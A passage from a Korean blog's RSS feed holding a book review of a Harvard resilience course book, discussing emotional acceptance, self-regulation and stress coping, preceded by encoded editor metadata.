iMTctYTM0Zi0yZWZkMTRhOGU0NzYiLCJ0eXBlIjoidGV4dCIsImNyZWF0ZWRCeVVzZXJJZCI6IjkxMGZiYmViLWJiNTgtMmVhNy0wNWFkLWU2YThiNzZkODQ2MSIsInByb3BlcnRpZXMiOiJ7fSIsInBhZ2VTdHlsZSI6Int9Iiwic3R5bGVBdHRyaWJ1dGVzIjoie1widGV4dFN0eWxlXCI6XCJib2R5XCIsXCJsaXN0U3R5bGVcIjpcIm5vbmVcIixcImxpbmVTdHlsZVwiOlwibm9uZVwiLFwidXJsU3R5bGVcIjpcImRlZmF1bHRcIixcImxheW91dFN0eWxlXCI6XCJyZWd1bGFyXCIsXCJpbWFnZUZpbGxTdHlsZVwiOlwic2NhbGVBc3BlY3RGaXRcIixcImltYWdlU2l6ZVN0eWxlXCI6XCJhdXRvXCIsXCJfcnVuQXR0cmlidXRlc1wiOltdLFwiZGVjb3JhdGlvbnNcIjp7fSxcImluZGVudGF0aW9uTGV2ZWxcIjowfSIsImNvbnRlbnQiOiLqsJDsoJXsnYQg7Ja17KCc7ZWY7KeAIOyViuqzoCDsmKTtnojroKQg7J247KCV7ZWY66m07IScIOyekOyLoOydhCDqsJ3qtIDsoIHsnLzroZwg67O8IOyImCDsnojripQg7Jes7Jyg6rCAIOyDneq4tOuLpC4g7J2066W8IO2Gte2VtCDrrLjsoJzrpbwg642UIOywqOu2hO2VmOqyjCDrtoTshJ3tlZjqs6Ag7ZW06rKw67Cp7JWI7J2EIOywvuuKlCDrjbAg64+E7JuA7J2EIOykgOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjEwMTUzOTc2LCJ1cGRhdGVkIjoxNzMwMjEwMTgwNzMwLCJzdGFtcCI6IlwiZmU4MDZjM2ItOTMyYS00ZjEwLWI5OGYtNWY3M2NmZjhlMDVjXCIiLCJ0ZW1wSWQiOiI4RDk0RThCOS02M0JFLTQyNzAtQTZDMS05MUZCRDQ4NjMwMjcifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi6rCQ7KCV7J2EIOyWteuIhOultOuptCDsiqTtirjroIjsiqTripQg7IyT7J206rOgIOymne2PreuQmOq4sCDsib3sp4Drp4wsIOqwkOygleydhCDsiJjsmqntlZjrqbQg6rCQ7KCV7KCBIOustOqyjOqwgCDspITslrTrk6TrqbAsIOyKpO2KuOugiOyKpOqwgCDsl7Dsho3soIHsnLzroZwg64iE7KCB65CY64qUIOqyg+ydhCDrsKnsp4DtlaAg7IiYIOyeiOuLpC4iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjEwMTgwNzQ0LCJ1cGRhdGVkIjoxNzMwMjEwMjA0ODU2LCJzdGFtcCI6IlwiYjQ4YWViMDQtNzdhMi00ZDUxLTljMDUtYWE2ZWZjNWNjYjUwXCIiLCJ0ZW1wSWQiOiIwOEM1OUE2RS0zODJBLTRFRTgtQjI0Mi1GNDdCMDI5MjZFNTgifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJzdWJCbG9ja3MiOltdLCJjcmVhdGVkIjoxNzMwMjEwMjA2ODI5LCJ1cGRhdGVkIjoxNzMwMjEwMjA2ODI5LCJzdGFtcCI6IlwiMWE1OTQzZGQtOTU5NS00MzYzLTlkZTgtYjMzOTkzZGJkOTZmXCIiLCJ0ZW1wSWQiOiI5QTFFMDQzQi01MEM4LTRBMzYtOEYzMy02QzRGQ0IxQzMyNzMifSx7InBhcmVudEJsb2NrIjoiNTcyYmYxMzEtN2EyYS00YjE3LWEzNGYtMmVmZDE0YThlNDc2IiwidHlwZSI6InRleHQiLCJjcmVhdGVkQnlVc2VySWQiOiI5MTBmYmJlYi1iYjU4LTJlYTctMDVhZC1lNmE4Yjc2ZDg0NjEiLCJwcm9wZXJ0aWVzIjoie30iLCJwYWdlU3R5bGUiOiJ7fSIsInN0eWxlQXR0cmlidXRlcyI6IntcInRleHRTdHlsZVwiOlwiYm9keVwiLFwibGlzdFN0eWxlXCI6XCJub25lXCIsXCJsaW5lU3R5bGVcIjpcIm5vbmVcIixcInVybFN0eWxlXCI6XCJkZWZhdWx0XCIsXCJsYXlvdXRTdHlsZVwiOlwicmVndWxhclwiLFwiaW1hZ2VGaWxsU3R5bGVcIjpcInNjYWxlQXNwZWN0Rml0XCIsXCJpbWFnZVNpemVTdHlsZVwiOlwiYXV0b1wiLFwiX3J1bkF0dHJpYnV0ZXNcIjpbXSxcImRlY29yYXRpb25zXCI6e30sXCJpbmRlbnRhdGlvbkxldmVsXCI6MH0iLCJjb250ZW50Ijoi7Iqk7Yq466CI7Iqk66W8IOuwm+ydhCDrlYwgXCLrgrTqsIAg64qQ64G864qUIOu2iOyViOydtOuCmCDsoozsoIjrj4Qg6rSc7LCu64ukLlwi6rOgIOyduOygle2VmOuKlCDsl7DsirXsnYQg7ZWY64qUIOqyg+uPhCDsoovri6QuIOyeoOq5kOydgCDsiazslrTqsIDrqbTshJwg64KY66W8IOqwneq0gOyggeycvOuhnCDrsJTrnbzrs7wg65WMLCDqsJDsoJXsnYQg7IiY7Jqp7ZWY64qUIOyXsOyKteydhCDtlaAg65WMIO2ajOuzte2DhOugpeyEseydhCDtgqTsmrgg7IiYIOyeiOuLpC4gIiwic3ViQmxvY2tzIjpbXSwiY3JlYXRlZCI6MTczMDIxMDIwNTkzNiwidXBkYXRlZCI6MTczMDIxMDI0MzA2Niwic3RhbXAiOiJcIjAyM2Y3ZmM0LWI2Y2YtNGYyNS05MzliLTJlMmYyNzE3ZTU5MlwiIiwidGVtcElkIjoiNzhGNDc5NzgtQUY4Qi00MjFBLUIzNzEtNUIxNTc3OUMxNkFEIn1d&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;회복탄력성의 핵심은 부정적인 감정을 억누르는 대신 이를 수용하고, 감정에 적절히 자리를 허용하는 태도이다. 자기조절은 감정을 직면하고, 있는 그대로 인정할 때 더 강해지며, 이는 스트레스 관리에 중요한 역할을 한다. 감정을 억누르면 오히려 강화되어 다시 떠오르거나, 몸과 마음에 부정적인 영향을 미친다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이러한 접근 방식이 스트레스 대처에 어떤 영향을 미칠까?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;부정적인 감정도 일상의 일부로 인정&lt;/b&gt;하면서, 자연스럽게 받아들이는 힘이 생긴다. 감정은 회피할 수 없다. 감정을 대하는 우리의 태도가 나를 결정하는 것이다. 감정을 피하려는 에너지를 줄여 심리적 피로를 덜어준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;감정을 억제하지 않고 오히려 인정하면서 자신을 &lt;b&gt;객관적으로 볼 수 있는 여유&lt;/b&gt;가 생긴다. 이를 통해 문제를 더 차분하게 분석하고 해결방안을 찾는 데 도움을 준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;감정을 억누르면 스트레스는 쌓이고 증폭되기 쉽지만, 감정을 수용하면 감정적 무게가 줄어들며, 스트레스가 연속적으로 누적되는 것을 방지할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스트레스를 받을 때 &quot;내가 느끼는 불안이나 좌절도 괜찮다.&quot;고 인정하는 연습을 하는 것도 좋다. 잠깐은 쉬어가면서 나를 객관적으로 바라볼 때, 감정을 수용하는 연습을 할 때 회복탄력성을 키울 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-4&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;마치며&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; 이 책은 멘탈이 약하고 치유가 필요한 사람들에게 권하고 싶은 책이다. 꼭 완독하지 않더라도 몇가지 필요한 챕터만, 몇 장만 읽어도 괜찮다. 읽기 시작하면 치유가 되는 책이다. 일상의 작은 변화부터 시작할 수 있는 방법들을 제시해주기에, 이제 막 회복을 시작한 사람들에게도 회복의 속도를 키워주는 책이다. &lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;누구도 과거로 돌아가 도입부를 새롭게 쓸 수는 없겠지만, 엔딩은 얼마든지 새롭게 쓸 수 있다.&lt;br /&gt;우리가 마주했던 역경과 트라우마는 바꿀 수 없다.&lt;br /&gt;하지만 당장 오늘부터 인생의 새로운 엔딩은 써나갈 수 있다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이&amp;nbsp;책은&amp;nbsp;과거의&amp;nbsp;상처에&amp;nbsp;발목&amp;nbsp;잡히지&amp;nbsp;않고,&amp;nbsp;자신이&amp;nbsp;원하는&amp;nbsp;새로운&amp;nbsp;인생을&amp;nbsp;그려나갈&amp;nbsp;수&amp;nbsp;있도록&amp;nbsp;조용히&amp;nbsp;곁에서&amp;nbsp;응원한다.&amp;nbsp;작은&amp;nbsp;실천을&amp;nbsp;통해&amp;nbsp;매일&amp;nbsp;조금씩&amp;nbsp;나아지는&amp;nbsp;자신을&amp;nbsp;느끼며,&amp;nbsp;삶의&amp;nbsp;주도권을&amp;nbsp;되찾아&amp;nbsp;가는&amp;nbsp;길을&amp;nbsp;열어줄&amp;nbsp;것이다.&amp;nbsp;결국&amp;nbsp;회복탄력성은&amp;nbsp;어떤&amp;nbsp;특별한&amp;nbsp;사람만의&amp;nbsp;것이&amp;nbsp;아니라,&amp;nbsp;우리가&amp;nbsp;지금&amp;nbsp;이&amp;nbsp;순간에도&amp;nbsp;만들어갈&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;가능성이자&amp;nbsp;선택이다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Review/  Book</category>
      <category>오블완</category>
      <category>책리뷰</category>
      <category>티스토리챌린지</category>
      <category>하버드 회복탄력성 수업</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/259</guid>
      <comments>https://gomguk.tistory.com/259#entry259comment</comments>
      <pubDate>Thu, 7 Nov 2024 19:48:49 +0900</pubDate>
    </item>
  </channel>
</rss>